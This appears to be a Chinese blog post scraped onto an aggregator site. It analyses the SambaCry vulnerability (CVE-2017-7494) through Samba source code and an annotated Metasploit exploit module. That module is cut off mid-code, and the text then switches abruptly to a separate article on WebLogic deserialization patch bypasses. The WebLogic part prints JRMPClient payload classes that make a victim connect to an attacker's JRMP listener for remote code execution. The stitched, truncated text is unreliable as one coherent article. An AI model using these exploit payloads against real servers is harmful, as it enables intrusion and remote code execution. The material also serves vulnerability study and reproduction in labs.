CVE-2017-7494 SambaCry 分析&复现

Posted xyzmpv

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2017-7494 SambaCry 分析&复现相关的知识,希望对你有一定的参考价值。

文章目录

简介

写这篇文章的起因是为了完成课程作业…实在是过于真实了
闲话少说,其实我对这玩意也不能说很了解吧…只能硬着头写了。
本文会结合部分samba源代码分析、msf exploit分析和攻击数据包对比,希望能让大家对这一漏洞有一定的了解。

参考链接

rapid7漏洞简介
看雪的漏洞分析
奇安信漏洞分析
T3stzer0的漏洞分析(被无数爬虫残缺不全的搬运到各处233)
msf exploit
IPC利用
samba空连接安全问题
IPC利用2
Microsoft的IPC介绍
SMB协议详解
IPC命名管道介绍
vulhub

漏洞原理

何为samba

介绍原理之前得先介绍一下samba。先看看官网介绍:

看下来感觉就是在linux/win上实现了SMB/CIFS协议,可以用来实现文件共享等等功能。

漏洞分析

下面的漏洞描述摘自奇安信:
在rpc_server/srv_pipe.c中的存在一个验证BUG,攻击者可以利用客户端上传恶意动态库文件到具有可写权限的共享目录中,之后发出请求,使服务器加载Samba运行目录以外的非法模块,导致恶意代码执行。

先看一下patch

实际上就是禁止命名管道的名称中出现/符号,防止使用路径作为popen参数,实际上也防止了目录穿越。

来追一下漏洞源码:
\\source3\\rpc_server\\srv_pipe.c中的is_known_pipename

bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)

	NTSTATUS status;

	if (lp_disable_spoolss() && strequal(pipename, "spoolss")) 
		DEBUG(10, ("refusing spoolss access\\n"));
		return false;
	

	if (rpc_srv_get_pipe_interface_by_cli_name(pipename, syntax)) 
		return true;
	

	status = smb_probe_module("rpc", pipename);
	#pipe_name加载module
	if (!NT_STATUS_IS_OK(status)) 
		DEBUG(10, ("is_known_pipename: %s unknown\\n", pipename));
		return false;
	
	DEBUG(10, ("is_known_pipename: %s loaded dynamically\\n", pipename));

	/*
	 * Scan the list again for the interface id
	 */
	if (rpc_srv_get_pipe_interface_by_cli_name(pipename, syntax)) 
		return true;
	

	DEBUG(10, ("is_known_pipename: pipe %s did not register itself!\\n",
		   pipename));

	return false;

samba-4.5.9\\lib\\util\\modules.c中的smb_probe_module

NTSTATUS smb_probe_module(const char *subsystem, const char *module)

	return do_smb_load_module(subsystem, module, true);

同一个文件中的do_smb_load_module(恶意参数为module_name):

static NTSTATUS do_smb_load_module(const char *subsystem,
				   const char *module_name, bool is_probe)

	void *handle;
	init_module_fn init;
	NTSTATUS status;

	char *full_path = NULL;
	TALLOC_CTX *ctx = talloc_stackframe();

	if (module_name == NULL) 
		TALLOC_FREE(ctx);
		return NT_STATUS_INVALID_PARAMETER;
	

	/* Check for absolute path */

	DEBUG(5, ("%s module '%s'\\n", is_probe ? "Probing" : "Loading", module_name));

	if (subsystem && module_name[0] != '/') 
		full_path = talloc_asprintf(ctx,
					    "%s/%s.%s",
					    modules_path(ctx, subsystem),
					    module_name,
					    shlib_ext());
		if (!full_path) 
			TALLOC_FREE(ctx);
			return NT_STATUS_NO_MEMORY;
		

		DEBUG(5, ("%s module '%s': Trying to load from %s\\n",
			  is_probe ? "Probing": "Loading", module_name, full_path));
		init = load_module(full_path, is_probe, &handle);
	 else 
		init = load_module(module_name, is_probe, &handle);
		#module_name加载module
	

	if (!init) 
		TALLOC_FREE(ctx);
		return NT_STATUS_UNSUCCESSFUL;
	

	DEBUG(2, ("Module '%s' loaded\\n", module_name));

	status = init();
	if (!NT_STATUS_IS_OK(status)) 
		DEBUG(0, ("Module '%s' initialization failed: %s\\n",
			  module_name, get_friendly_nt_error_msg(status)));
		dlclose(handle);
	
	TALLOC_FREE(ctx);
	return status;

同一个文件中的load_module(恶意参数为path):

init_module_fn load_module(const char *path, bool is_probe, void **handle_out)

	void *handle;
	void *init_fn;
	char *error;

	/* This should be a WAF build, where modules should be built
	 * with no undefined symbols and are already linked against
	 * the libraries that they are loaded by */
	handle = dlopen(path, RTLD_NOW);
	#dlopne加载so
	/* This call should reset any possible non-fatal errors that
	   occured since last call to dl* functions */
	error = dlerror();

	if (handle == NULL) 
		int level = is_probe ? 5 : 0;
		DEBUG(level, ("Error loading module '%s': %s\\n", path, error ? error : ""));
		return NULL;
	

	init_fn = (init_module_fn)dlsym(handle, SAMBA_INIT_MODULE);
	#dlsym执行so中的SAMBA_INIT_MODULE函数,替换为恶意函数即可RCE
	/* we could check dlerror() to determine if it worked, because
           dlsym() can validly return NULL, but what would we do with
           a NULL pointer as a module init function? */

	if (init_fn == NULL) 
		DEBUG(0, ("Unable to find %s() in %s: %s\\n",
			  SAMBA_INIT_MODULE, path, dlerror()));
		DEBUG(1, ("Loading module '%s' failed\\n", path));
		dlclose(handle);
		return NULL;
	

	if (handle_out) 
		*handle_out = handle;
	

	return (init_module_fn)init_fn;


samba/IPC匿名访问

根据samba wiki,samba可以设置为一个独立服务器,同时支持匿名访问(anonymous access)。当然,这里“访问”应该是指smb_login,也就是以匿名用户身份完成smb认证(参考SMB协议详解)。

匿名访问的常见用途是设置一个可匿名访问的、仅上传的samba服务器,用于提交作业、上传记录等等用途,这也是这一漏洞攻击的主要着眼点。

对于匿名IPC的话,根据IPC利用IPC利用2的描述,这种无用户名无密码的空/匿名连接(至少在windos上)要么权限很低,要么干脆就已经被挡掉了…细节可以在微软官方文档里面查到。

攻击思路

实际上攻击思路就是想办法在目标服务器上上传一个恶意的.so文件,再以匿名方式访问IPC$,创建命名管道触发漏洞以popen打开这个恶意.so以反弹shell。但是,为了实现攻击有以下几个问题:

  • 登录问题:不知道smb用户名和密码,所以要能匿名登录smb服务或可以爆破凭证
  • 权限问题:要求smb正常/匿名登录进去后要对目录有可写权限,以及IPC$的访问权限,以实现上传恶意so和触发漏洞
  • 路径问题:漏洞只能通过物理(绝对)路径触发,不能通过共享名下的相对路径触发,同时还需要能获得共享目录路径以及能枚举出其下的可写目录(上传文件用的共享名不代表实际目录名,这也是为什么后面要用NetShareGetInfo获取绝对路径)

msf exp分析

直接参考T3stzer0的漏洞分析即可。
第一个读的msf exp…感觉可读性挺好的。ruby语法直接看菜鸟教程就行了,使用的SMB::Client模块内容可以参考msf doc
枚举目录的调用链大概是find_writeable——find_writeable_share_path——find_writeable_path——enumerate_directories——verify_writeable_directory,逻辑是通过smb_netshareenumall函数枚举共享名,再用find_first(\\\\*)获取共享名下的目录,测试完找到可写目录后用smb_netsharegetinfo获取共享目录绝对/物理(路径),上传恶意so后以绝对路径拼接tpath再用create_pipe触发漏洞,加载恶意so。

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  //Excellent,就是我们列exploit时看到的评级
  
  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client
  //使用的DCERPC/SMB::Client两个依赖,主要是用了后一个,进行SMB连接和扫描
  
  def initialize(info = )
  //initialize,设置默认配置,也就是show options看见的那些
    super(update_info(info,
      'Name'           => 'Samba is_known_pipename() Arbitrary Module Load',
      'Description'    => %q
          This module triggers an arbitrary shared library load vulnerability
        in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
        requires valid credentials, a writeable folder in an accessible share,
        and knowledge of the server-side path of the writeable folder. In
        some cases, anonymous access combined with common filesystem locations
        can be used to automatically exploit this vulnerability.
      ,
      'Author'         =>
        [
          'steelo <knownsteelo[at]gmail.com>',    # Vulnerability Discovery & Python Exploit
          'hdm',                                  # Metasploit Module
          'bcoles',  # Check logic
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2017-7494' ],
          [ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
        ],
      'Payload'         =>
        
          'Space'       => 9000,
          'DisableNops' => true
        ,
      'Platform'        => 'linux',
      'Targets'         =>
        [

          [ 'Automatic (Interact)',
             'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'Interact' => true,
              'Payload' => 
                'Compat' => 
                  'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find'
                
              
            
          ],
          [ 'Automatic (Command)',
             'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] 
          ],
          [ 'Linux x86',         'Arch' => ARCH_X86  ],
          [ 'Linux x86_64',      'Arch' => ARCH_X64  ],
          [ 'Linux ARM (LE)',    'Arch' => ARCH_ARMLE  ],
          [ 'Linux ARM64',       'Arch' => ARCH_AARCH64  ],
          [ 'Linux MIPS',        'Arch' => ARCH_MIPS  ],
          [ 'Linux MIPSLE',      'Arch' => ARCH_MIPSLE  ],
          [ 'Linux MIPS64',      'Arch' => ARCH_MIPS64  ],
          [ 'Linux MIPS64LE',    'Arch' => ARCH_MIPS64LE  ],
          [ 'Linux PPC',         'Arch' => ARCH_PPC  ],
          [ 'Linux PPC64',       'Arch' => ARCH_PPC64  ],
          [ 'Linux PPC64 (LE)',  'Arch' => ARCH_PPC64LE  ],
          [ 'Linux SPARC',       'Arch' => ARCH_SPARC  ],
          [ 'Linux SPARC64',     'Arch' => ARCH_SPARC64  ],
          [ 'Linux s390x',       'Arch' => ARCH_ZARCH  ],
        ],
      'DefaultOptions' =>
        
          'DCERPC::fake_bind_multi' => false,
          'SHELL'                   => '/bin/sh',
        ,
      'Privileged'      => true,
      'DisclosureDate'  => '2017-03-24',
      'DefaultTarget'   => 0))

    register_options(
      [
        OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
        OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
      ])
	//同时提供了两个自定义选项,SMB_SHARE_NAMESMB_FOLDER,在漏洞简介里面有说明
  end

  def post_auth?
    true
  end

  # Setup our mapping of Metasploit architectures to gcc architectures
  //应该是设置可用的payload类型。从这里也可以看出漏洞影响范围之大
  def setup
    super
    @@payload_arch_mappings = 
        ARCH_X86      => [ 'x86' ],
        ARCH_X64      => [ 'x86_64' ],
        ARCH_MIPS     => [ 'mips' ],
        ARCH_MIPSLE   => [ 'mipsel' ],
        ARCH_MIPSBE   => [ 'mips' ],
        ARCH_MIPS64   => [ 'mips64' ],
        ARCH_MIPS64LE => [ 'mips64el' ],
        ARCH_PPC      => [ 'powerpc' ],
        ARCH_PPC64    => [ 'powerpc64' ],
        ARCH_PPC64LE  => [ 'powerpc64le' ],
        ARCH_SPARC    => [ 'sparc' ],
        ARCH_SPARC64  => [ 'sparc64' ],
        ARCH_ARMLE    => [ 'armel', 'armhf' ],
        ARCH_AARCH64  => [ 'aarch64' ],
        ARCH_ZARCH    => [ 's390x' ],
    

    # Architectures we don't offically support but can shell anyways with interact
    @@payload_arch_bonus = %W
      mips64el sparc64 s390x
    

    # General platforms (OS + C library)
    @@payload_platforms = %W
      linux-glibc
    
  end

  # List all top-level directories within a given share
  //枚举共享目录下的一级目录,仅支持smb1
  def enumerate_directories(share)
    begin
      vprint_status('Use Rex client (SMB1 only) to enumerate directories, since it is not compatible with RubySMB client')
      connect(versions: [1])
      smb_login
      self.simple.connect("\\\\\\\\#rhost\\\\#share")
      //连接共享目录
      stuff = self.simple.client.find_first("\\\\*")
      //列出共享目录下的所有目录,相当于ls?
      directories = [""]
      stuff.each_pair do |entry,entry_attr|
        next if %W. ...include?(entry)
        //跳过含...的相对路径
        next unless entry_attr['type'] == 'D'
        directories << entry
        //检查entry是否为目录,不是目录则继续循环
      end

      return directories

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Enum #share: #e")
      return nil

    ensure
      simple.disconnect("\\\\\\\\#rhost\\\\#share")
      smb_connect
    end
  end

  # Determine whether a directory in a share is writeable
  def verify_writeable_directory(share, directory="")
  //上传txt 验证共享目录是否可写
    begin
      simple.connect("\\\\\\\\#rhost\\\\#share")
		//连接到共享目录
      random_filename = Rex::Text.rand_text_alpha(5)+".txt"
      //生成随机数名的txt作为测试
      filename = directory.length == 0 ? "\\\\

weblogic之CVE-2017-3248,CVE-2018-2628,CVE-2018-2893,CVE-2018-3245反序列绕过分析

说一下复现CVE-2017-3248可以参考p牛的环境,p牛的环境CVE-2018-2628实际就是CVE-2017-3248,他漏洞编号这块写错了。
攻击流程就如下图,攻击者开启JRMPListener监听在1099端口,等待受害者链接,当受害者链接时,把gadgets返回给客户端:
技术分享图片

CVE-2017-3248以后的漏洞都是利用了JRMP java远程方法协议,利用java.rmi.registry.Registry,序列化RemoteObjectInvocationHandler,并使用UnicastRef和远端建立tcp连接,获取RMI registry,最终将加载的内容利用readObject()进行解析,导致之前序列化的恶意代码执行。

具体利用的时候用ysoserial的payload,用到Proxy代理。
技术分享图片
复现2017-3248就看p牛的github,这里主要复现下CVE-2017-3248绕过。先看一下这漏洞的补丁,一般反序列操作防御resolveProxyClass和resolveClass方法重写,进行黑名单匹配。这里也就是我们重点看的:

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
            String[] arr$ = interfaces;
            int len$ = interfaces.length;

            for(int i$ = 0; i$ < len$; ++i$) {
                String intf = arr$[i$];
                if (intf.equals("java.rmi.registry.Registry")) {
                    throw new InvalidObjectException("Unauthorized proxy deserialization");
                }
            }

            return super.resolveProxyClass(interfaces);

补丁只是在resolveProxyClass方法将java.rmi.registry.Registry加入黑名单,没有将UnicastRef加入黑名单,所以出现以下俩种绕过:1、不使用代理机制就反序列化时就不会进入resolveProxyClass方法
2、找一个java.rmi.activation.Activator来替代java.rmi.registry.Registry生成payload

先看第一种的payload,在ysoserial攻击修改如下代码把Proxy去掉,重新打jar包,利用方式和CVE-2017-3248一样,能够绕过resolveProxyClass执行命令:
技术分享图片
在看一下这块的补丁,在resolveClass时就把UnicastRef类防住了。

    private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};

跟入checkLegacyBlacklistIfNeeded函数
技术分享图片
跟到这里,看到如果反序列化的类是在黑名单中就抛出异常。
技术分享图片
第二种绕过方式就是廖新喜的payload,可以使用java.rmi.activation.Activator来替代java.rmi.registry.Registry

public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {

    public Activator getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
            Activator.class
        }, obj);
        return proxy;
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
        PayloadRunner.run(JRMPClient2.class, args);
    }
}

CVE-2018-2893的补丁将RemoteObjectInvocationHandler放入到了黑名单,而CVE-2018-2628的黑名单如下

CVE-2018-2628补丁
    private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};
CVE-2018-2893的补丁
    private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler"};

执行的这里会被黑名单拦截。
技术分享图片
还有一种绕过方式就是CVE-2018-2893利用WebLogic 内部类 weblogic.jms.common.StreamMessageImpl 可被序列化并且在反序列化时可以调用RMI的类,可以绕过WebLogic 的黑名单限制。
payload如下,打好的jar包在这里

 public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Registry> {

        public Object streamMessageImpl(byte[] object) {
            StreamMessageImpl streamMessage = new StreamMessageImpl();
            streamMessage.setDataBuffer(object, object.length);
            return streamMessage;
        }

        public Object getObject (final String command ) throws Exception {
            String host;
            int port;
            int sep = command.indexOf(':');
            if (sep < 0) {
                port = new Random().nextInt(65535);
                host = command;
            }
            else {
                host = command.substring(0, sep);
                port = Integer.valueOf(command.substring(sep + 1));
            }
            ObjID objID = new ObjID(new Random().nextInt()); 
            TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);
            UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
            RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
            Object object = Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
            return streamMessageImpl(Serializer.serialize(object));
        }


        public static void main ( final String[] args ) throws Exception {
            Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
            PayloadRunner.run(JRMPClient3.class, args);
        }
    }    

resolveClass处理到StreamMessageImpl时,
技术分享图片
来到CVE-2016-0638的漏洞触发点,其中859行加入了过滤代码。当执行到865行时,跟进
技术分享图片
java.rmi.server.RemoteObjectInvocationHandler被加入黑名单
技术分享图片
CVE-2018-2893绕过参考https://xz.aliyun.com/t/2479#toc-2主要是绕过黑名单RemoteObjectInvocationHandler类,这个CVE编号就是:

CVE-2018-3245

RMIConnectionImpl_Stub代替RemoteObjectInvocationHandler
最后说下怎么找到的RMIConnectionImpl_Stub,实际上就是找RemoteObject类的子类。
CTRL+H找到这三个是RemoteObject的子类
技术分享图片
RemoteStub找他的子类,最后找到RMIConnectionImpl_Stub类了
技术分享图片
查看一下继承关系,下面这样的操作主要查找其父类比较方便。
技术分享图片
技术分享图片
所以 CVE-2018-3245的补丁就是将基类RemoteObject禁掉,而不是禁用其子类
payload参考:https://github.com/pyn3rd/CVE-2018-3245
gadgets经测试用Jdk7u21能够RCE。
我测试没有打CVE-2018-3245补丁,对RMIConnectionImpl_Stub没有处理导致绕过
技术分享图片
看下完整利用过程:
生产poc
技术分享图片
开启JRMP服务
技术分享图片
通过T3协议写入payload
技术分享图片
受害服务器连接JRMP服务,攻击者将Jdk7u21的gadgets发送给受害服务器,导致RCE。
技术分享图片

参考链接:
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628
https://xz.aliyun.com/t/2479#toc-0
http://www.4hou.com/vulnerable/12874.html
https://paper.seebug.org/584/

以上是关于CVE-2017-7494 SambaCry 分析&复现的主要内容,如果未能解决你的问题,请参考以下文章

Samba CVE-2017-7494验证实验

Samba远程代码执行漏洞(CVE-2017-7494) 复现

CVE-2017-7494 Linux Samba named pipe file Open Vul Lead to DLL Execution

CVE-2017-7494复现 Samba远程代码执行

又双叒叕出重大漏洞了,关于Unix版本永恒之蓝,CVE-2017-7494

Linux提权列表